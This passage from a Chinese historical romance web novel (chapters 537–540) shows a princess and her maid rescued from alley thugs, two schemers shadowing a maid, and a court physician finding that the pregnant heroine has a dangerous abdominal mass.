可心下里再想一想,又颇为疑惑地道:“她不是衣上云的贴身丫鬟吗?怎会一大早出现在距离衣府如此之远的城东的街市上?” 说着,便从腰间摸出几个铜板来拍在案上,提剑亦匆匆下了楼去。 殊不知,刚才三人之间从始至终所发生的一切,被酒楼的另一角上所坐着的两男一女俱都看在了眼里。 此三人正是亦蹲守在秦王府附近寻找机会的拓跋泽与梅汐媛,陆天骄。 见三人相继都已离开,梅汐媛觉得暂住的客栈距离这个酒楼不远,自己可以与婢女一道回去。 于是,拓跋泽与陆天骄便先行离开,紧随其后下了楼。 “你确定,跟着易三少等人,便能捉住那个贱人?” 走出酒楼,穿梭在熙熙攘攘的街市人群中,陆天骄问拓跋泽道。 拓跋泽嘴角一斜,阴阳怪气地勾出一抹弧度来,道:“陆小姐若是不信在下的话,大可自己想办法去秦王府里抓人啊!在下记得,陆小姐不是与秦王府颇有渊源,打小便是秦王府的常客吗?” 一提起这件事来,陆天骄瞬间气地涨红了脸,道:“拓跋泽……你……” 拓跋泽见其已然发怒,心中窃喜,紧接着又认真朝其解释道:“秦王府一向戒备森严,我们根本不可能混进去。既然我们进不去,为今之计,只有等待时机让那丫头自己现出身来,我们才会有机会下手。” 陆天骄仔细想想其说的话也有道理,眼下也只能这样了,多行不义必自毙,始终是自己亲手毁了与秦王府的情谊。 于是,俩人便紧随紫苏其后跟了上去,想要一探究竟。 而这时,从酒楼后面拐个弯的一个偏僻的小胡同里。 与俩人在酒楼分手,欲独自回客栈的梅汐媛半路上则遇到了大麻烦。 从酒楼一下来,刚出门,尽管梅汐媛已经颇为谨慎极了地先朝着四周打探了一番,方才与婢女俩人皆都遮起了长长的白色帏帽。 可还是在一阴暗的角落里,被不知何时已经暗藏着的两个鬼鬼祟祟的男子盯上,尾随其后跟了上去。 因为是闹市,直到进入了这个偏僻的小胡同里,梅汐媛依稀觉察好像后面有人尾随,方才反应了过来。 她紧紧地握住婢女的手,婢女一觉察到她的异常反应,便开口问:“公主,怎么了?” 梅汐媛压低了声音,道:“后面有人跟踪我们。” “什么……有人跟踪……”婢女一听,顿时惊慌失措地欲转身回头去查看。 梅汐媛紧忙扯住了她的胳膊,低声喝道:“不要回头,快点走!” 婢女便被吓得再也不敢出声,战战兢兢地与其一道加快了脚下的步伐。 眼看着就要走到胡同尽头,霎时间,从俩人前方的另一条胡同里又闯进来另一男子。 惊地主仆俩顿时驻足停下,又缓缓后退了起来。 这时,眼看着尾随其后的那名男子马上就要逼近追了上来。 主仆俩彼此紧紧地握着对方的手,婢女忽再一抬脚,竟然直接撞到了身后赶上来男子的怀里。 婢女一觉察自己触碰到了男子的身体,瞬间吓得挣脱了梅汐媛的手直跳了起来,顿转身过去对其大喊大叫道:“走开,别碰我,不然我要喊人了!” 说着,婢女便惊慌不已地扬起声来想要求救:“救……” 刹那间,只见一把明晃晃的匕首架在了婢女的脖子上。 紧接着,男子肆无忌惮地靠近到婢女的耳朵旁边,道:“喊啊,为何不喊了?” “不要,不要杀她。”梅汐媛瞬间似乎都傻在了原地里。 而另一名男子似是笃定了这里绝对不会有人救他们,一点儿也不担心,竟还嘴角一斜,露出了一抹颇带玩味的调戏声来。 朝梅汐媛身边近身过去,对其说:“这里甚少有人路过,怕是你们喊破喉咙也是于事无补的。倒还不如乖乖听话,好好伺候咱哥儿俩玩玩。兴许哥儿俩今儿若是高兴了,说不定将你主仆二人带回家,你们一个做大,一个做小,如何?” “流氓,你们可知我家主人她是谁?”明明自己此刻都已经怕得要命的婢女,眼看着男子欲伸手过去挑开梅汐媛的帏帽,也不知道从哪儿来的勇气说出这句话来。 闻此,束缚着婢女的男子狠声道:“别动!哥手里握着的刀可是不长眼睛的,管你们是谁?我劝你们俩莫要敬酒不吃吃罚酒,若是惹怒了咱哥俩,你们怕是马上就要去见阎罗王了。” 话一说完,便一把扯掉了婢女头上的帏帽,兀自又附手上去到婢女的领口。 “住手!” 第五百三十七章:毫无套路的扫帚 眼看着束缚婢女双手的男子一把扯掉了其头上的帏帽,兀自又继续附手上去到婢女的领口。 “住手!”梅汐媛终于鼓足勇气大叫了一声。 看到男子果真停下了手里的动作,梅汐媛开口询问道:“你们是不是要钱?要多少你们说个数,我命人即刻给你们便是,不要伤害她。” 岂料男子愣了一下,最后笑了笑却道:“不好意思,今天算是你们运气不好碰到了咱哥儿俩。咱们向来都是劫色不劫财,任你家常万贯多少钱咱都不要,咱只要美人儿。” 说完,便又继续撕扯起婢女的衣裙来。 耳畔尚还萦绕着附近闹市上商贩行人嘈杂的声音,可也正是如此,刚好掩盖了他们的呼救声,使主仆二人可谓是叫天天不应,叫地地不灵。 受了惊吓,绝望又无助的梅汐媛忽觉耳边响起一阵绵绵不断的耳鸣声音。 眼前浮现起自己打小身为集万千宠爱于一身的公主,以往她所拥所有的无比尊贵与骄傲。 后来又是如何受了怠慢进的秦王府的门,尔后又于一个大雨磅礴之日,孤零零一步一步踩着烂泥被无情地赶了出来。 一念至此,她心头的愤怒与仇恨,忽然使其变得无所畏惧了起来,似是想要豁出了一切地护住这个一直以来陪伴着自己的小丫头。 于是,自己同样被另一名男子亦牢牢控制着的梅汐媛忽然使出了几乎全身力量,愤怒极了地看着眼前的流氓,再次朝其扬声怒喝道:“住手!” 闻声,两名男子似是真的被其声音所震慑到,顿时愣了住。 欲对其婢女施暴的男子被惊吓住,停下手里的动作眼睛直勾勾地看向她。 画面瞬间静止。 可没一会儿,控制其胳膊的男子先回过神来用力扯了扯梅汐媛的胳膊,兀自在其耳边龇牙咧嘴的地恐吓其说:“你想干什么?是不是想死?” 梅汐媛明显感觉到了一阵被撕扯的痛楚,而此刻她身上所觉到的痛早已远远不及其内心积聚的失落与伤痛。 梅汐媛冷笑了一声,幽幽的说道:“这还真是龙游浅水遭虾戏,虎落平阳被犬欺。” 顿了顿,紧接着她的声音忽然再次变得严厉愤怒了起来:“今日,你们若是敢伤她分毫,来日本公主一定让你们生不如死。” 闻声,控制着婢女的男子心下里想了想,似是自言自语一般怯怯地说:“公主?你说你是……” 就在二人正因此揣测分散注意时,忽然传来一阵女子长长的呐喊声音:“啊……” 闻此,众人皆朝着所发出这阵声音的方向急急看去。 只见一个小丫头,手里高高举过头顶着一把长长的秃头扫帚从街角冲了进来,并以无比飞快的速度朝着俩个流氓身边近身冲了过去。 许是因为年纪小,自己心里也是害怕的。 只见小丫头一冲上去锁住目标,便紧紧闭起了双眼。 接着,便是胡乱一通地挥动着手里的扫把,嘴里一边还不停地骂着:“臭流氓,让你们欺负好人家的姑娘。” 只见她时而横扫,时而拍打,时而转圈,吓得两流氓半天都摸不着她挥舞扫帚的套路,只呼:“你是哪里冒出来的野丫头?还不快将手里的破扫帚放下,快停下来……” 因为扫帚是秃头没有一片叶子的,随便其中哪一根刺到人身上也是极痛的。 一时之间寻不到机会不得近身抢夺,两个流氓只得四处避让着胡乱躲蹿。 很快,那把毫无套路的扫帚便打散了四人。 婢女眼疾手快地疾奔扑过去紧紧抱住了梅汐媛,至今尚还都魂不守舍着地哭着道:“公主,公主……” 梅汐媛一边轻抚着她的脑袋,一边抱紧她安抚其道:“别怕,别怕,没事了,没事了。” 可另一边,流氓依旧还没有退去,还在一边试图寻找着机会,一边嘴里忿忿呼喊着:“你这个死丫头,敢坏爷爷的好事,等会儿要是被爷爷我捉住了,定将你这个不知天高地厚的小丫头碎尸万段。” 小丫头也是丝毫不敢慢下来手里的动作,一边挥舞着手里的武器,一边骂骂咧咧着道:“臭流氓,臭流氓……让你们欺负好人家的姑娘,让你欺负……” 就在这时,小丫头忽觉自己手中的武器无法继续受自己控制,移动不了了。 她便睁开眼睛来查看,这才发现扫帚被其中一个流氓死死地踩在了脚下。 小丫头惊慌地大喊大叫:“臭流氓,还不快松开你的大猪蹄子,快松开……” 然紧接着,那流氓竟在露出一抹奸笑后,缓缓俯身了下去,一把捉住了扫帚的另一头。 小丫头不明所以的看着他的脸,谁料他竟是一把将扫帚连同小丫头一起大力地拽到了自己的身边,顺势一只手紧紧地掐住了小丫头的脖子。 小丫头顿时直觉自己都快要喘不过气来,在其手里挣扎着,脸憋的通红。 梅汐媛一见,顿时大惊失色地扬声喊道:“放开她……” “放开她?凭什么?”那流氓得意极了地挑衅道。 另一流氓又气焰嚣张地接着道:“今日落到我们哥儿俩的手里,不管你是公主,哪怕就是天王老子,王母娘娘,都别想逃出我俩的五指山。” 只见他说着说着,便迈开步伐来朝梅汐媛主仆俩身边一步一步走了过去。 梅汐媛与婢女俩紧紧拥在一起,缓缓后退着,很快便被逼到了死胡同一角。 眼看着再无退路,那流氓正附手上去欲扯下梅汐媛的帏帽。 手刚触摸到了白纱,霎时间,透过白色的一层轻纱,惊慌失措极了的梅汐媛却见迎上来的流氓嘴里吐出了一口鲜血。 紧接着,便闻“扑通”一声,原本那般魁梧健壮的一个人瞬间便倒在了自己的脚下。 “公主……”其身旁的婢女一看到出了人命,吓得一把紧紧抱住了梅汐媛,看都不敢再看一眼,大声叫道。 “别怕,别怕……”梅汐媛安慰其道。 而此时,另一边已然被另一流氓掐着脖子的燕儿面部乌青,亦眼看着马上就要窒息。 那流氓一看见自己的同伙被杀倒地,后背的伤口处鲜血直流。 顿时下意识地松开了手,望着其尸体,声音颤颤巍巍地叫了一声:“大哥……” 紧接着,便踉踉跄跄地迈起步上前去想要仔细查看。 他用惊吓的颤抖不已的一只手去试了试鼻息,瞬间失声痛哭了起来:“大哥,大哥……” 待其稍一回过神来,失神地缓缓站起了身,遂握紧了手里明晃晃的匕首,跑过去将三人死死地围堵在墙角上。 既而又朝着面前三名女子面目狰狞,歇斯底里地吼叫道:“谁?是谁?你们谁杀了我大哥?” 三名女子也是一脸的懵,彼此紧紧靠在一起,不知该如何是好? 就在这时,忽然从胡同的另一头传来一女子的声音道:“是你姑奶奶我。” 闻声,男子忽地转身了过去,依旧不忘举着手里的匕首,惊声道:“谁在说话?” 只见从胡同转角处缓缓现身出一手持长剑的紫衣女子,同样遮着一长长的黑色帏帽。 女子一边朝众人走过去,一边训斥道:“光天化日之下,竟敢做如此卑鄙龌龊之事,你当真以为无法无天了吗?” 见此,梅汐媛主仆俩扶着刚刚喘过来气的小丫头,快速地躲到了紫衣女子的身后。 那男子见了,明显这次来的可是个不好惹的。 可依旧似是发狂了一般地朝其叫道:“贱人,是你杀了我大哥,今天老子跟你拼了。” 男子说着,便魔怔了一般地扬起匕首来朝紫衣女子的左胸口处刺了上去。 怎料还未近身,便被紫衣女子上前两步一脚大力的踹了出去,整个人飞出了好远,最后重重地掉在了地上。 “咳咳咳……”只见那男子落地后咳了几声,却仍然不放弃,挣扎着起身来想要再来一次。 紫衣女子微微侧过脸去一些,朝身后的三个女子命令说:“还不快走!” “可姑娘你一人……”梅汐媛似是有些担心地说。 紫衣女子见男子已然爬了起来备战,不想再拖延时间,便喝声道:“快走啊!” 梅汐媛见此形式,也不得不妥协,只道了声:“姑娘保重!” 说完,便带着婢女与小丫头,三人一起疾步离开。 霎时间,身后便响起了噼哩啪啦的声音。 三人相互扶持着,一直走到了一个安全的闹市区,方才停了下来歇歇脚。 梅汐媛对小丫头感激地道:“我主仆二人多谢姑娘的救命之恩,今日幸亏姑娘出手相助,否则怕是……” 对于方才所发生的一切,想起来还是有些后怕,梅汐媛紧接着询问:“对了,敢问姑娘尊姓大名?家住何处?日后我们好亲自登门拜谢。” “不用客气,我只是一个小婢女而已。今日出门乃是为了给我家小姐买栗之斋的糖炒栗子。回去的途中,恰巧看见了这两个歹徒。路见不平拔刀相助,二位实在不用放在心上。” 小丫头虽然也受到了惊吓,可最终也并未受到什么伤害,这会儿似是一点也不放在心上随意地说。 梅汐媛却依旧不依不饶,受此大恩,定要重谢不可,便又问:“敢问恩人的家主是?” 第五百三十八章:意外的惊喜 “敢问恩人的家主是?” “你们叫我燕儿就好了,我家老爷是城西……”见梅汐媛似是一定要打破砂锅问到底,小丫头便只好如实地告诉她。 可话刚开口说到一半,忽然瞥见梅汐媛的一只手不知何时受了伤,这会儿正依稀尚还有鲜血在不断地渗出来。 “呀!姑娘的手受伤了……”燕儿惊叫了一声。 “受伤……公主哪里受伤了?”似是至今坐在一旁尚还惊魂未定着的婢女听见,也着急地回过神来替梅汐媛检查了起来。 燕儿却早已抽出了自己的帕子来,替其细心地包扎起来。 因为担心梅汐媛的伤势,燕儿并未注意到婢女对梅汐媛的称呼。 梅汐媛透过薄纱瞪了婢女一眼,婢女方才瞬间反应过来自己的失言,遂默默的垂下了脑袋。 “许是方才不小心碰到的,不碍事。” 紧接着,梅汐媛亦垂头看了一眼,对着手上的伤口道。 很快,燕儿便以极其娴熟的动作替其包扎好。 梅汐媛仔细端详了一会儿,夸赞其道:“姑娘这替人包扎伤口的手法看起来很是特别。动作敏捷、操作准确又轻柔,松紧亦尤为适度,让人一点儿疼痛的感觉都没有……” 闻此,燕儿颇为自豪地道:“那是了,这可是我家小姐教我的方法,若是一般人,我才不会替她包扎呢……” 梅汐媛看着燕儿谈及主人时一脸欢喜,便揣测道:“看来……你家小姐待你是极其好的!” 燕儿起身来,趴在河边凉亭的扶手上看着周围处处错落有致的风景,满脸羡慕地道:“这城东就是比我们城西整洁漂亮。” 说完,方才不紧不慢地津津乐道回梅汐媛:“那当然了!我家小姐又温柔、又善良,小姐她还聪慧过人,是天底下最好的女子,而且……” 见燕儿说着说着,忽然变得吞吞吐吐了起来,梅汐媛便问:“而且什么……” 这件事,燕儿每每仅是自己心里想想便满腹抑制不住的高兴。 于是,她忽地回过头对梅汐媛神秘地说:“我告诉你一个秘密。” “嗯”梅汐媛隔着帏帽朝其点了点头,示意她很乐意听。 燕儿抿了抿嘴,说道:“我家小姐很快便要大婚了。” “那可真是要恭喜你家小姐了。”梅汐媛亦着实替其高兴地道。 这时,燕儿忽然想起了什么,遂大叫一声:“糟了,小姐的糖炒栗子!” 说着,便疾步朝凉亭外匆匆奔跑了出去。 梅汐媛对着其背影,唤道:“还未请教姑娘家住哪里呢?” 燕儿一边跑去寻她的糖炒栗子,一边头也不回地道:“姑娘不必将此事放在心上,快快回家去吧!莫让家人等着急了……” 梅汐媛根本早已经听不清她所说的话:“姑娘你说什么?” 见已然再无回应,遂只得无奈地默默垂首下去。 “公主,咱们还是赶快回客栈去吧。”婢女看到燕儿已然消失在茫茫人海没了踪影,提醒梅汐媛道。 梅汐媛垂首看着手上所缠绕着的丝帕上,绣着的两只栩栩如生的比翼双飞燕,陷入了沉沉的思索之中…… 这时,在一偏僻无人的街角。 陆天骄与拓跋泽二人,再次止步争吵了起来。 “废物,连个女人都能跟丢了!”陆天骄生气极了地道。 “方才若不是你唠叨不停,我们又怎会跟丢了人。” 拓跋泽也是一边愤愤地说着,一边向四处里继续寻觅着紫苏的身影。 “我之所以唠叨,也是因为你刚才故意挑衅的。你不要忘了,我们三人之间,若不是各有所图,我才不稀罕与你这样的亡国奴合作。” 陆天骄想起过往所发生的一切,心里便气不打一处来。 “你说什么?有种再说一遍!” 闻此,拓跋泽瞬间收回了目光,瞪向陆天骄的脸,颇为认真地问。 “我……”陆天骄果然还想继续开口泄愤,可忽一对上拓跋泽此刻眼中所燃烧着的熊熊怒火,不得不又识相的收了声。 就在两人争执时,恰巧赶回来寻找自己存放糖炒栗子的燕儿现出了身来。 燕儿一见到一男一女在这无人的街角不知在交谈些什么,但凭直觉一定是两人之间发生了什么不愉快的事,顿时觉得有些不自然地愣了一下。 接着,便快步朝着俩人身后的一个周身浮雕着瑞兽貔貅,蛟枝环绕的石墩边迎了上去。 这时,陆天骄与拓跋泽顿时佯装起一副在友好交谈着的模样。 “逛了这么久,有些累了吧?不如去前面的酒楼里,喝点茶歇歇脚。” “如此甚好!” …… 燕儿硬着头皮,很快便将自己事先隐藏在那石墩间的篮子翻了出来,一查看,遂满脸庆幸地道:“谢天谢地,还好都在这儿呢!” 拿回了自己的东西,燕儿便迈起脚步来急匆匆地回头往秦王府方向回去。 这时,陆天骄深感意外地道:“这可还真是意外的惊喜!” 拓跋泽听了,不明所以地看着她的脸。 陆天骄道:“那个丫头,仿佛是衣上云的贴身丫鬟。” “你说什么?”拓跋泽吃惊地道。 心下里一想,复又扬声呵斥其道:“为什么不早说?” 陆天骄道:“我也是只见过那丫头一两次,方才刚刚想起来而已。” 拓跋泽怒瞪了她一眼,紧接着催促陆天骄:“还不快跟上!” 俩人这才一前一后迈步急急跟了上去。 与此同时,解决好两个流氓的紫衣女子亦已经再次寻到了燕儿的踪影,刚好找到了此处。 却无意间发现了刚刚尾随着燕儿往东边方向赶去的陆天骄与拓跋泽俩人。 不禁惊诧地自言自语道:“他们是什么人?为何也要跟踪那个小丫头?” 于是,亦急急跟了上去,没有打草惊蛇,想要暗地里探个究竟。 秦王府,云水阁里。 衣上云正独自坐在一楼的书案边,提笔整理着龙虎城此次疫情的药方。 书案旁,还放置着另一张更为宽大的案几。 是她专门用来配置各种方子所用的,此时,案上便就摆满着各种药材和器皿。 窗外明明到处一片旖旎之景。 院落里种下了成片的鸢尾已开出了美丽的花朵,密密麻麻地铺在地上,宛如彩色的地毯一般。 又宽又长的绿叶上,点缀着一朵朵紫色的花,如一只只紫蝴蝶在草丛间飞舞。 而这一切,她却并无心理会。 只着急地做着一次又一次试验,然始终却都有些不满意。 悉心地整理好药方,复又仔细斟酌了一遍又一遍,最后拿起来看了看,却又忧心忡忡地放了下去。 自言自语说道:“都已经这么多天过去了,也不知道龙虎城的百姓们怎么样了?” 话一说完,起身踱步到试制药方的案边,停下脚步伸出一手捻起了一株麻黄草,默默地道:“算算日子,所需的药草,也应该已经快要到了才是。” 眼睛忽地一怔,似是已经有了主意:“不行,我不能就这样一直等下去。或许,可以去问问太妃娘娘有关运送药草的进展,总好过自己在这里坐立不安,胡乱揣摩得好。” 既然已有了打算,她开始胡乱收拾了一下案几上放着的瓶瓶罐罐,便打算出门去见纯太妃。 岂料刚像被关在笼子里的小鸟放出来一般的衣上云,前脚刚一迈出阁楼的门转了个弯,便从身后传出一阵熟悉的不能再熟悉的声音道:“想去哪里?” 闻声,衣上云当然知道是谁在同自己讲话。 于是,被逮了个正着的她,不得已只得顿足停下,缓缓转过身去。 只见她霎时间如同一个做了坏事的孩子一般,低下着眉眼。 两手一边揉搓着自己的衣角,一边嘴里支支吾吾地说:“我……我……” 这时,恰好一束光透过水面折射到了她的眼睛上,她便顿时想到了一个借口,抬起头来说:“我见今儿个天气好,想去给太妃娘娘请个安。在王府里叨扰许久,还未曾当面朝娘娘致谢。” 轩辕翰听了冷哼一声,当然不会相信她所说的。 “让本王看看你手上的伤怎么样了?” 轩辕翰兀自一边说着,便上前了两步朝其身边近身过去,伸出一只大手来想要拉起她的手来查看。 衣上云一看到轩辕翰朝自己走来,紧忙后退了两步,将手飞快地藏到了自己身后,道:“我的伤已经好多了,殿下不必担心。” 无奈,轩辕翰的手在半空中扑了个空,最后只能将其缓缓收回,默默地背到自己身后去。 得知衣上云在云水阁里夜以继日地试方子,轩辕翰知道她心里一直惦记着龙虎城的疫情。 于是,便开口问她:“你是不是想去问母妃,关于运送药草到龙虎城的情况。” 闻此,衣上云大惊失色地看着轩辕翰的脸:“你……你都已经知道了?” 轩辕翰吐了口浊气,道:“你当真宁愿去求助于母妃,也不愿来求本王吗?” “我……我……” 霎那间,衣上云着实不知该如何回答这个问题。 轩辕翰生气地看着她许久,见她始终都说不出只字片语来,最后不得不朝其妥协:“算了,本王念在你有孕在身的份上,此次便不与你计较。送往龙虎城的药草不日便会送达灾区,你放心便是。” 顿了顿,又道:“不过,说起请安……你是真的该去给母妃好好请个安了。” “秦王殿下此言何意?”闻此,衣上云一脸茫然不解地看着轩辕翰的脸,问。 第五百三十九章:癓瘕 “算了,在赐婚圣旨正式被送达衣府之前,本王还是先不要告诉她的好。” 话到嘴边想了想,轩辕翰终是心里暗暗地作罢道。 一念至此,遂故作一副云淡风轻地道:“没什么。” 原是虚惊一场,衣上云便也安心了些许下来,深深地吐了口浊气。 看着面前多日下来,终于变得渐渐柔顺下来的她,轩辕翰不禁再次回忆起两人之间从相识开始至今所发生的点点滴滴,心中感受万千。 “初次相识,情深几许,离别之苦,大病初愈,久别重逢,失而复得,虚惊一场,不期而遇,如约而至,还有来日可期……” 这一切常人人生所经历的每一个瞬间,以前从来都不曾出现在他的人生规划中,他也从不敢奢望。 可如今,却是一桩桩,一件件全都是那样刻骨铭心,清晰又真实地发生在自己的身上,一切都是那样的美好。 …… 而在衣上云的心底,对于轩辕翰,总有一种说不清,道不明的感觉。 每每当她明明清晰地知道自己应该拒绝的时候,却总是抗拒不了这个男人。 冥冥之中,他就是她一眼便喜欢的人。 那个从来都不是因为什么俊朗的容颜,尊贵的身份,而是一种似曾相识的感觉。 以前世未了的情,来还今生所欠下的债。 爱不得,也舍不得,更离不开…… 喜欢的,原来无论再看多少眼,始终还是会喜欢。 “如果你不是西秦秦王,我亦不是东宁公主,你我之间的结局,是不是就会不一样了?”衣上云心里也默默地道。 正思索着,忽觉下腹部传来一阵隐隐的阵痛,衣上云忙附手上去将腹部按住。 可就在这时,又觉一阵眩晕,继而眼前亦变得忽明忽暗了起来。 霎那间,就连身体也似摇摇晃晃像是站立不稳了。 轩辕翰很快意识到她的不对劲,忙紧了两步上前去,将其紧紧拥在了自己的怀里,着急关切地道:“云儿,你怎么了?” 很快,衣上云便变得迷迷糊糊起来,嘴里只断断续续地道:“孩子……我的孩子……孩……殿下……救……救……” 轩辕翰害怕极了,那是一种从未有过的害怕。 遂一把将其横抱了起来,拔腿便往云水阁里回去:“云儿,坚持住,一定要坚持住……” 就在这时,正拎着竹篮蹦蹦跳跳满载而归回到府里的燕儿,一看到眼前的情景,瞪大了眼睛顿足停了下来。 紧接着,便闻“扑通”一声。 手里的竹篮重重地跌落到了地上,一颗颗饱满圆润的栗子,如同是断了线的珍珠一样掉落出来,散落了一地。 待其顿回过神来,嘴里念着:“小姐……” 说着,便疾步上前去查看。 当一看到轩辕翰抱着的衣上云额头直冒冷汗,脸上苍白如纸,已然陷入昏迷,没了任何知觉,燕儿都快吓哭了。 她疾声呼唤道:“小姐……小姐你怎么了?小姐早起不是还好好的吗?” “快去请乐太医……快去!”轩辕翰来不及解释,只扬声着急地命令燕儿道。 “乐太医……对……请乐太医。” 燕儿听了,顿时转身过去,一边抹泪,一边火急火燎地跑过去提起裙角一步跨过了门槛。 云水阁里,一室寂静。 阁楼上,衣上云静静地躺在榻上,依旧陷入在沉沉的昏迷当中。 燕儿心里害怕极了,一边哭着,一边用帕子轻轻替其擦拭着额头不断渗出的冷汗。 乐太医这次反反复复替其检查了很久很久,始终都不见其舒展开眉头半分。 这让一旁的轩辕翰更加坐立不安。 室内的气氛一时间里沉重地似是不能再沉重,仿佛就连身边的空气都停止流动了一般,令人窒息。 这时,紫和轩里闻讯匆匆赶来的纯太妃也在张嬷嬷的搀扶下跨入了云水阁中。 进门一看到轩辕翰此刻魂不守舍,六神无主的眼神,又瞥了一眼榻上衣上云紧闭的双眼与惨白的脸,还有此刻眼前这死一般的沉寂,心亦跟着顿时悬了起来。 等候了半晌。 终于,乐太医在一番细细诊视完后起了身来。 见状,轩辕翰倏地起身欲要上前,却是还尚未开口,另一旁坐着的纯太妃先开了口:“如何?姑娘这是怎么了?无缘无故为何会昏迷?” 乐太医眉头紧锁着,稍加思索,说道:“启禀太妃娘娘,殿下,依微臣所见,姑娘得的是一种……症瘕。” “症瘕?”纯太妃听了,顿觉匪夷所思极了,遂将一副质疑的眼神朝乐太医投了过去。 乐太医稍顿了顿,开口回答。 “太妃娘娘应该亦知,症瘕乃妇人之疑难杂症之一,常以妇人下腹结块,伴有或胀,或痛,或满,或异常出血者,称之为症,症者有形可征,固定不移,痛有定处。症瘕者假聚成形,聚散无常,推之可移,痛无定处,一般症属血病,瘕属气病,但因常难以划分,故并称为症瘕。” 说完,乐太医查问一旁的燕儿道:“你家小姐是从何时起有这种腹痛感的?” 燕儿仔细回想了想,说:“之前在闺阁的时候,燕儿倒也没见过小姐有过如此强烈的腹痛。不过,昨夜小姐安歇的时候倒是痛过一次,燕儿问,小姐只说有孕的妇人皆是如此,并无什么大碍,燕儿便信了。” “仅此一次?”乐太医质疑地追问。 燕儿又想了想,补了话说:“对了,小姐上次回府那日,好像也有过腹痛,但并无今日如此严重。那时燕儿问她,她说是回西秦的路长途跋涉,许是有些累了所致。” 这时,纯太妃又似想起了什么,正要问燕儿,却又止住了,心里默默道:“衣夫人既不是这丫头的生母,自是也不知这丫头的恶疾是不是家族遗传所得。” 乐太医思索着燕儿的话,最后语重心长地道:“你家小姐……怕是根本就不想你们替她担心,所以故意一直隐瞒自己的病情。” 听说至此,轩辕翰缓缓近身过去到衣上云的榻边坐下,温柔地捉起她的手,在心底默默心疼地道:“为何你从来都不知疼惜疼惜自己?” 往日里那般尊贵冰冷的一个人,此刻却是如此无奈、沉默与孤寂。 此情此景,众人见了,皆是心碎。 这时,燕儿忽然反应过来,衣上云此次怕是病的不轻,于是低声怯怯地问:“乐太医,我家小姐的病,真的很严重吗?” 乐太医吐了口浊气,解释道:“此症本是一种常见的妇人病,大多数患者并不会有明显不舒服的症状,结块亦可自行消失,并不会对人体造成损害,可……” 顿了顿,转眼看了看衣上云的脸,又继续说:“可也有部分患者会随着时间的流逝结块慢慢增大,出现下腹部的不适,甚至……甚至还会引起更为严重的一系列症状。” 乐太医真是想都不敢往下想了去。 “所以她现在的病情,已经发展到开始影响腹中的胎儿了吗?”纯太妃亦是在心里忍了许久,最后仍然忧心地追问道。 乐太医叹了口气,面色凝重地道:“病患如若是在孕期,随着腹中胎儿的不断增大,相对应的腹部的空间就会逐渐缩小。如此一来,腹部的结块便会很容易出现受压破裂的情况,到了那个时候,姑娘的性命怕是就……” 乐太医说着说着,停了下来。 “这可该如何是好?”一时间里,纯太妃亦没了主意,问道。 乐太医缓缓摇了摇头,继续道:“姑娘今日下腹突然发作起如此剧烈的疼痛,乃至出现皮肤湿冷、陷入昏迷之中,这正是此症所引起的急性症状,以微臣的建议是……” 顿了顿,乐太医终是不忍心地道:“这个孩子……怕是要不得了。因为一旦胎儿大于了四个月,母体将随时会有生命危险。” 此话一出,如雷贯耳。 “四个月,如今衣上云的孕期已满三月,那就是说……”纯太妃不敢继续往下想去。 可又必须要再次确认:“你的意思是……她这辈子……都不可能有自己的孩子,对吗?” 乐太医点了点头,肯定地道:“是。” 霎时间,一室寂静。 轩辕翰背对着所有人,紧紧闭上了眼睛。 许久后,终是纯太妃抱着一丁点儿希望,哪怕只有一丁点儿希望,能有办法救救这个可怜的女子。 纯太妃忍着心里的悲痛说:“难道……难道就真的……没有其他……但凡一点点办法了吗?” 乐太医想了想,无能为力极了地摇了摇头。 纯太妃目光心疼地看向轩辕翰的背影,不知还能再说些什么,做些什么,只在心里默默地道:“天哪,你这是开了多大的一个玩笑!俩个可怜的孩子,好不容易走到了今日,怎么会是这样的结果?” 不知过了多久,轩辕翰早已悄悄地紧紧握住了双拳,将其暗藏在袖中。 纯太妃开口想要去劝慰:“事已至此,皇儿也不要太过于伤心……” 话未说完,轩辕翰便素声下令道:“你们都回去吧,本王想单独在这里待一会儿。” 无奈,众人只得纷纷起身离开。 轩辕翰沉声交待众人道:“这件事,没有本王的允许,谁都不准告诉她……置于其他的……让本王再想想。” 第五百四十章:为什么偏偏是她? 回到了紫和轩,纯太妃瘫坐在软塌上,觉得自己累极了,从未有过如此疲惫无力的感觉。 张嬷嬷与乐太医亦在一旁沉默不语着,更不知该劝说些什么。 显然,没有一个人料到会发生这样的事情。 “为什么偏偏是她?”纯太妃思来想去,至今都难以接受。 沉默了许久,似是终于鼓起勇气做好了接受且去面对,衣上云永远都无法为轩辕翰生儿育女这个事实的准备。 她咬了咬牙,问随同其一起回来待问话的乐太医:“乐太医,现在秦王不在,你实话告诉本宫。那个丫头现在的情况是不是真的已经很糟糕?是不是……是不是……” 岂料这来之不易的勇气竟如此不堪一击,话到嘴边,还是停了下来。 再次让自己静了静,事到如今,逃避也不是办法,索性心一横,又一次开了口:“是不是……是不是只有落下腹中的胎儿,那丫头才能继续活下去?” “娘娘……”闻此,张嬷嬷疾呼了一声,与乐太医顿时震惊不约而同地看向纯太妃的脸。 乐太医愣了一会儿,道:“此乃妇人之疑难杂症,太妃娘娘医术高明,对于此类恶疾比微臣更是精通。心里应该更清楚,姑娘腹中的结块明显不是会自行消失的那种,它在姑娘体内不断地生长,病情亦随时都在变化。就算是落下腹中胎儿,也是暂缓病情之计,后期病情恶化的可能性仍是极大的。” “一命换一命亦不行,这明摆着是要本宫皇儿的命啊!那丫头若是有个三长两短,皇儿如何能接受得了?” 心底仅存的最后一丝侥幸的希望也破灭了,纯太妃一手揪在心口之间,疾声痛苦地流着泪道。 看到纯太妃如此伤心难过,乐太医道:“姑娘的病,微臣一定竭尽全力。” 纯太妃拭了拭眼角的泪痕,说:“好了,你先下去吧!” “微臣告退。”乐太医拱手行礼后,转身离去。 这时,张嬷嬷心疼地道:“娘娘……” “天呢……为什么会这样……不是说好人有好报吗……为什么偏偏是她?”纯太妃看着张嬷嬷的脸,无力地道。 众人离去,云水阁里一室寂静。 轩辕翰伸手温柔地一遍遍轻抚着衣上云清瘦的脸庞,心里默默地想着。 “为何老天待她如此不公,她是那样的善良。可这一生,她却再也无法拥有自己的孩子,成为一个真正的母亲。还有不到一月,不到一月……” 凝视着她的腹部许久,最后紧紧地捉住她纤细的手,将其拖到自己的唇边,脸上强撑出一丝笑容来苦笑着道:“别怕,无论发生什么,本王都会陪着你,永远陪着你,我们的好日子,才刚刚开始……” 话音刚落,便见两行滚烫的泪水划过了脸庞。 就这样静静地守在衣上云的榻边,静静地,静静地…… 直至暮色微凉,透过朱红色的镂空雕花窗桕射入的斑斑点点细碎的阳光,零碎地撒在了房内的一把支起的古琴上。 